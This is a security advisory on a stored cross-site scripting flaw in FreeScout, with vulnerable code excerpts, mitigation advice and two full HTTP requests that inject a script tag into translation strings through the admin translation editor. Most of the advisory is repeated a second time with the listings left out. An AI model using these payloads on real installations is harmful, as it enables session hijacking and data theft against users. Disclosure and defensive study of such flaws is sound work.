Stored XSS [5]
Product: FreeScout
Version: v.1.8.173 and 1.8.174
CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CVSS vector v.4.0: 6.0 (AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N)
Description: the application is vulnerable to Cross-Site Scripting (XSS) attacks due to incorrect input validation and sanitization of user-input data. An attacker can inject arbitrary HTML code, including JavaScript scripts, into the page processed by the user's browser, allowing them to steal sensitive data, hijack user sessions, or conduct other malicious activities.
Implementation Scenarios: /translations/edit/_app
Implementation Options: POST value
Vulnerable scenarios:
• all flash notifications in the application;
• all scenarios where the translated phrase is injected without escaping.
Exploitation conditions: an authorized user with administrator role.
Vulnerable section of code:
Listing. Vulnerable code snippet (/app/Http/Controllers/MailboxesController.php 97-991)
\Session::flash('flash_success_floating', __('Mailbox created successfully'));
return redirect()->route('mailboxes.update', ['id' => $mailbox->id]);
Mitigation: Input Validation and Sanitization: all user-supplied data used to generate web pages processed by the browser, including HTTP request headers (e.g., User-Agent, Referer), must be subject to preliminary transformation to prevent potential security vulnerabilities. This transformation should replace potentially hazardous characters that could be used for HTML formatting with their safe equivalents. The htmlspecialchars()function
can be employed for this purpose.
To prevent Cross-Site Scripting (XSS) attacks, a comprehensive approach is recommended, including code and server configuration changes, as well as technical security measures:
• leverage frameworks that provide automated input validation and filtering to prevent XSS attacks;
• in the web application code, escape untrusted data in HTTP requests in the context of HTML page output (body, attributes, JavaScript, CSS, or URL);
• avoid using potentially vulnerable DOM objects in the application code that can be exploited by attackers;
• enable Content Security Policy (CSP);
• configure session cookies with the secure and httpOnly flags;
• return files with correct MIME type or use Content-Disposition: attachment and Content-Type: application/octet-stream to force download.
For general information on safeguarding against Cross-Site Scripting (XSS) vulnerabilities, please refer to:
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md.
Researchers: Artem Deikov, Ilya Tsaturov, Daniil Satyaev, Roman Cheremnykh, Artem Danilov, Stanislav Gleym (Positive Technologies)
Research
Researcher discovered zero-day vulnerability «Stored XSS» in FreeScout.
It was found that when creating a translation of a phrase that appears in a flash-message after a completed action, it is possible to inject a payload to exploit XSS vulnerability. Next, it is necessary to publish the translation.
Listing. HTTP request for injecting malicious payload into the Russian translation of phrase [Mailbox created successfully]
POST /translations/edit/_app HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-CSRF-Token: 5iT97wPdt5NbkgeyZLJ5sRaCXUYWFjabWLsJLm7A
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 272
Origin: http://x.x.x.x
Connection: keep-alive
Referer: http://x.x.x.x /translations/view/_app?locale=ru
Cookie: [COOKIE]
Priority: u=0
name=ru%7CMailbox+created+successfully&value=%D0%A2%D0%B5%D1%81%D1%82+%D1%82%D0%B5%D1%81%D1%82+%3Cscript+src%3D%22%5Cstorage%5Cattachment%5C2%5C2%5C1%5Ctest%3Fid%3D181%26token%3D0f3b323b163d01a0d7ff7043b319f5c4%22%3E&pk=6244&_token=5iT97wPdt5NbkgeyZLJ5sRaCXUYWFjabWLsJLm7A
Below is an example with an unsafe template for XSS exploitation:
Listing. Example of a vulnerable template (resources/views/conversations/conversation_table.blade.php 219-229)
<td class="conv-totals" colspan="{{ $col_counter-3 }}">
@if ($conversations->total())
{!! __(':count conversations', ['count' => '<strong>'.$conversations->total().'</strong>']) !!} |
@endif
@if (isset($folder->active_count) && !$folder->isIndirect())
<strong>{{ $folder->getActiveCount() }}</strong> {{ __('active') }} |
@endif
@if ($conversations)
<strong>{{ $conversations->firstItem() }}</strong>-<strong>{{ $conversations->lastItem() }}</strong>
@endif
</td>
Listing. HTTP request for injecting XSS into the translation of phrase [count conversations]
POST /translations/edit/_app HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-CSRF-Token: sJ6ZGfqLi8pq4ebRgixnYj8Ozciv4ymvTafRJ0QJ
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 268
Origin: http://x.x.x.x
Connection: keep-alive
Referer: http://x.x.x.x /translations/view/_app?locale=ru
Cookie: [COOKIE]
Priority: u=0
name=ru%7C%3Acount+conversations&value=%3Acount+%D1%82%D0%B8%D0%BA%D0%B5%D1%82%D0%BE%D0%B2+%3Cscript+src%3D%22%5Cstorage%5Cattachment%5C2%5C2%5C1%5Ctest%3Fid%3D181%26token%3D0f3b323b163d01a0d7ff7043b319f5c4%22%3E&pk=5854&_token=sJ6ZGfqLi8pq4ebRgixnYj8Ozciv4ymvTafRJ0QJ
Stored XSS [5]
Product: FreeScout
Version: v.1.8.173 and 1.8.174
CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CVSS vector v.4.0: 6.0 (AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N)
Description: the application is vulnerable to Cross-Site Scripting (XSS) attacks due to incorrect input validation and sanitization of user-input data. An attacker can inject arbitrary HTML code, including JavaScript scripts, into the page processed by the user's browser, allowing them to steal sensitive data, hijack user sessions, or conduct other malicious activities.
Implementation Scenarios:
/translations/edit/_app
Implementation Options:
POST value
Vulnerable scenarios:
Exploitation conditions: an authorized user with administrator role.
Vulnerable section of code:
Listing. Vulnerable code snippet (/app/Http/Controllers/MailboxesController.php 97-991)
Mitigation: Input Validation and Sanitization: all user-supplied data used to generate web pages processed by the browser, including HTTP request headers (e.g., User-Agent, Referer), must be subject to preliminary transformation to prevent potential security vulnerabilities. This transformation should replace potentially hazardous characters that could be used for HTML formatting with their safe equivalents. The
htmlspecialchars()function
can be employed for this purpose.To prevent Cross-Site Scripting (XSS) attacks, a comprehensive approach is recommended, including code and server configuration changes, as well as technical security measures:
• leverage frameworks that provide automated input validation and filtering to prevent XSS attacks;
• in the web application code, escape untrusted data in HTTP requests in the context of HTML page output (body, attributes, JavaScript, CSS, or URL);
• avoid using potentially vulnerable DOM objects in the application code that can be exploited by attackers;
• enable Content Security Policy (CSP);
• configure session cookies with the secure and httpOnly flags;
• return files with correct MIME type or use Content-Disposition: attachment and Content-Type: application/octet-stream to force download.
For general information on safeguarding against Cross-Site Scripting (XSS) vulnerabilities, please refer to:
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md.
Researchers: Artem Deikov, Ilya Tsaturov, Daniil Satyaev, Roman Cheremnykh, Artem Danilov, Stanislav Gleym (Positive Technologies)
Research
Researcher discovered zero-day vulnerability «Stored XSS» in FreeScout.
It was found that when creating a translation of a phrase that appears in a flash-message after a completed action, it is possible to inject a payload to exploit XSS vulnerability. Next, it is necessary to publish the translation.
Listing. HTTP request for injecting malicious payload into the Russian translation of phrase [Mailbox created successfully]
Below is an example with an unsafe template for XSS exploitation:
Listing. Example of a vulnerable template (resources/views/conversations/conversation_table.blade.php 219-229)
Listing. HTTP request for injecting XSS into the translation of phrase [count conversations]